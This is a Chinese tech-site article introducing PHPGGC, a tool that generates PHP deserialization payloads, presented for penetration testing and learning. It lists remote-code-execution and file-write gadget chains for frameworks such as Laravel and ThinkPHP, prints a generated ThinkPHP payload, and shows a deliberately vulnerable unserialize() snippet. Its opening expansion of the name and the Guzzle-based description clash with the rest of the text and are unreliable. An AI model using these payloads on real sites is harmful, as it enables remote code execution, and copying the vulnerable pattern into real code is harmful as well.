当前位置:首页 > 科技  > 软件

PHP安全测试秘密武器 PHPGGC

来源: 责编: 时间:2024-07-11 17:34:57 835观看
导读概述PHPGGC,全称为“PHP Guzzle Getters and Setters”,是一个库,包含了预构建的Guzzle HTTP客户端请求对象,这些对象可以被用来利用PHP应用中的反射或魔术方法漏洞。它的核心价值在于简化了对PHP应用程序潜在漏洞的探测

概述

PHPGGC,全称为“PHP Guzzle Getters and Setters”,是一个库,包含了预构建的Guzzle HTTP客户端请求对象,这些对象可以被用来利用PHP应用中的反射或魔术方法漏洞。它的核心价值在于简化了对PHP应用程序潜在漏洞的探测过程,特别是对于那些可能存在的命令注入漏洞。jIy28资讯网——每日最新资讯28at.com

PHPGGC是一个unserialize()有效负载库,沿着一个从命令行或编程方式生成它们的工具。当在您没有代码的网站上遇到未序列化时,或者只是试图构建漏洞时,此工具允许您生成有效负载,而无需通过查找小工具并组合它们的繁琐步骤。它可以被看作是frohoff的ysoserial的等价物,但用于PHP。jIy28资讯网——每日最新资讯28at.com

目前,该工具支持小工具链,如:CodeIgniter 4,Doctrine,Drupal 7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。jIy28资讯网——每日最新资讯28at.com

技术分析

该项目基于PHP编写,并且利用了Guzzle,这是一个流行的HTTP客户端库,能够处理HTTP请求。PHPGGC通过创建特殊的GETters和SETters,它们在发送HTTP请求时可以被恶意构造,从而触发不安全的代码执行。这种构造方式使得安全研究人员能够在各种不同的场景中快速验证是否存在代码注入风险,而无需手动编写复杂的payload。jIy28资讯网——每日最新资讯28at.com

PHPGGC还支持命令行界面(CLI),允许用户轻松地生成或搜索所需的GGC有效载荷。此外,其代码结构清晰,易于扩展,意味着你可以根据需要添加新的GGC类型或者自定义功能。jIy28资讯网——每日最新资讯28at.com

应用场景

  • 渗透测试:在进行安全审计时,可以直接使用PHPGGC生成的payload尝试触发潜在的命令注入漏洞。
  • 教育与学习:理解如何构建这类攻击载荷有助于提高开发者的安全意识。
  • 自动化安全工具:集成到自动化安全扫描工具中,可以大规模检测目标系统的安全性。

命令行使用

运行PHPGGC需要 PHP >= 5.6。jIy28资讯网——每日最新资讯28at.com

下载项目

git clone https://github.com/ambionics/phpggc.gitcd phpggc/

运行./phpggc -l获取gadget链列表。jIy28资讯网——每日最新资讯28at.com

$ php ./phpggc -lGadget Chains-------------NAME                                      VERSION                                                 TYPE                      VECTOR          I    Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Function Call        __destruct           CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct           CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Function Call        __destruct           CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct           CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct    Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE: Function Call        __toString           Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE: Function Call        __destruct           Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE: Function Call        __destruct      *    Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE: Function Call        __destruct      *    Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE: Function Call        __destruct           Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE: Function Call        __destruct           Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE: Function Call        __destruct           Laravel/RCE17                             10.31.0                                                 RCE: Function Call        __destruct           Laravel/RCE18                             10.31.0                                                 RCE: PHP Code             __destruct      *    Laravel/RCE19                             10.34                                                   RCE: Command              __destruct     Symfony/RCE14                             1.2.0 <= 1.2.12                                         RCE: Function Call        __wakeup        *    Symfony/RCE15                             1.0.0 <= 1.1.9                                          RCE: Function Call        __wakeup        *    Symfony/RCE16                             1.1.0 <= 1.5.18                                         RCE: Function Call        Serializable    *    TCPDF/FD1                                 <= 6.3.5                                                File delete               __destruct      *    ThinkPHP/FW1                              5.0.4-5.0.24                                            File write                __destruct      *    ThinkPHP/FW2                              5.0.0-5.0.03                                            File write                __destruct      *    ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE: Function Call        __destruct      *    ThinkPHP/RCE2                             5.0.24                                                  RCE: Function Call        __destruct      *    ThinkPHP/RCE3                             -6.0.1+                                                 RCE: Function Call        __destruct           ThinkPHP/RCE4                             -6.0.1+                                                 RCE: Function Call        __destruct           Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete               __destruct      *    ...

过滤器小工具链 `ThinkPHP。jIy28资讯网——每日最新资讯28at.com

$ php ./phpggc -l ThinkPHPGadget Chains-------------NAME             VERSION         TYPE                  VECTOR        I    ThinkPHP/FW1     5.0.4-5.0.24    File write            __destruct    *    ThinkPHP/FW2     5.0.0-5.0.03    File write            __destruct    *    ThinkPHP/RCE1    5.1.x-5.2.x     RCE: Function Call    __destruct    *    ThinkPHP/RCE2    5.0.24          RCE: Function Call    __destruct    *    ThinkPHP/RCE3    -6.0.1+         RCE: Function Call    __destruct         ThinkPHP/RCE4    -6.0.1+         RCE: Function Call    __destruct

每个小工具链都有。jIy28资讯网——每日最新资讯28at.com

  • Name:框架/库的名称
  • Version:小工具所使用的框架/库的版本
  • Type:利用类型:RCE,文件写入,文件读取,包含
  • Vector:反序列化后触发链的向量(__destruct(),__toString(),offsetGet(),...)
  • Informations:关于链条的其他信息

使用-i获取有关链的详细信息jIy28资讯网——每日最新资讯28at.com

$ php ./phpggc -i ThinkPHP/RCE4Name           : ThinkPHP/RCE4Version        : -6.0.1+Type           : RCE: Function CallVector         : __destruct./phpggc ThinkPHP/RCE4 <function> <parameter>

运行./phpggc <gadget-chain> [parameters]以获取有效负载。jIy28资讯网——每日最新资讯28at.com

$ php ./phpggc ThinkPHP/RCE4 assert 'phpinfo()'O:17:"think/model/Pivot":9:{s:19:"think/Modelexists";b:1;s:18:"think/Modelforce";b:1;s:21:"think/ModellazySave";b:1;s:9:"*suffix";O:17:"think/model/Pivot":9:{s:19:"think/Modelexists";N;s:18:"think/Modelforce";N;s:21:"think/ModellazySave";N;s:9:"*suffix";N;s:17:"think/Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think/ModelwithAttr";a:1:{s:3:"key";a:1:{s:3:"key";s:6:"assert";}}s:7:"*json";a:1:{i:0;s:3:"key";}s:12:"*jsonAssoc";b:1;s:12:"*withEvent";N;}s:17:"think/Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think/ModelwithAttr";N;s:7:"*json";N;s:12:"*jsonAssoc";N;s:12:"*withEvent";b:0;}

Wrapper

例如,如果易受攻击的代码看起来像这样:tinywan_wrapper.php 脚本jIy28资讯网——每日最新资讯28at.com

<?php$data = unserialize($_GET['data']);print $data['message'];

执行结果jIy28资讯网——每日最新资讯28at.com

php ./phpggc -w ./my_wrapper.php slim/rce1 system idPHP Notice:  Undefined index: data in /home/www/build/phpggc/my_wrapper.php on line 2PHP Notice:  Trying to access array offset on value of type bool in /home/www/build/phpggc/tinywan_wrapper.php on line 3ERROR: Wrapper file does not define process_parameters(), process_object() or process_serialized()

你可以使用__toString()链,像这样包装它:tinywan_wrapper2.php 脚本jIy28资讯网——每日最新资讯28at.com

php ./phpggc -w ./tinywan_wrapper2.php slim/rce1 system ida:1:{s:7:"message";O:18:"Slim/Http/Response":2:{s:10:"*headers";O:8:"Slim/App":1:{s:19:"Slim/Appcontainer";O:14:"

jIy28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-100471-0.htmlPHP安全测试秘密武器 PHPGGC

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: Go语言实现Base64、Base58编码与解码,很简单

下一篇: 使用Spring Boot 3.x实现多平台购票信息一致性保障

标签:
  • 热门焦点
  • 小米平板5 Pro 12.4简评:多专多能 兼顾影音娱乐的大屏利器

    疫情带来了网课,网课盘活了安卓平板,安卓平板市场虽然中途停滞了几年,但好的一点就是停滞的这几年行业又有了新的发展方向,例如超窄边框、高刷新率、多摄镜头组合等,这就让安卓
  • 5月安卓手机好评榜:魅族20 Pro夺冠

    性能榜和性价比榜之后,我们来看最后的安卓手机好评榜,数据来源安兔兔评测,收集时间2023年5月1日至5月31日,仅限国内市场。第一名:魅族20 Pro好评率:97.50%不得不感慨魅族老品牌还
  • SpringBoot中使用Cache提升接口性能详解

    环境:springboot2.3.12.RELEASE + JSR107 + Ehcache + JPASpring 框架从 3.1 开始,对 Spring 应用程序提供了透明式添加缓存的支持。和事务支持一样,抽象缓存允许一致地使用各
  • 小红书1周涨粉49W+,我总结了小白可以用的N条涨粉笔记

    作者:黄河懂运营一条性教育视频,被54万人&ldquo;珍藏&rdquo;是什么体验?最近,情感博主@公主是用鲜花做的,火了!仅仅凭借一条视频,光小红书就有超过128万人,为她疯狂点赞!更疯狂的是,这
  • 东方甄选单飞:有些鸟注定是关不住的

    文/彭宽鸿编辑/罗卿东方甄选创始人俞敏洪带队的&ldquo;7天甘肃行&rdquo;直播活动已在近日顺利收官。成立后一年多时间里,东方甄选要脱离抖音自立门户的传闻不绝于耳,&ldquo;7
  • 阿里瓴羊One推出背后,零售企业迎数字化新解

    作者:刘旷近年来随着数字经济的高速发展,各式各样的SaaS应用服务更是层出不穷,但本质上SaaS大多局限于单一业务流层面,对用户核心关切的增长问题等则没有提供更好的解法。在Saa
  • 联想YOGA 16s 2022笔记本将要推出,屏幕支持触控功能

    联想此前宣布,将于11月2日19:30召开联想秋季轻薄新品发布会,推出联想 YOGA 16s 2022 笔记本等新品。官方称,YOGA 16s 2022 笔记本将搭载 16 英寸屏幕,并且是一
  • 苹果140W USB-C充电器:采用氮化镓技术

    据10 月 30 日 9to5 Mac 消息报道,当苹果推出新的 MacBook Pro 2021 时,该公司还推出了新的 140W USB-C 充电器,附赠在 MacBook Pro 16 英寸机型的盒子里,也支
  • “买真退假” 这种“羊毛”不能薅

    □ 法治日报 记者 王春   □ 本报通讯员 胡佳丽  2020年初,还在上大学的小东加入了一个大学生兼职QQ群。群主&ldquo;七王&rdquo;在群里介绍一些刷单赚
Top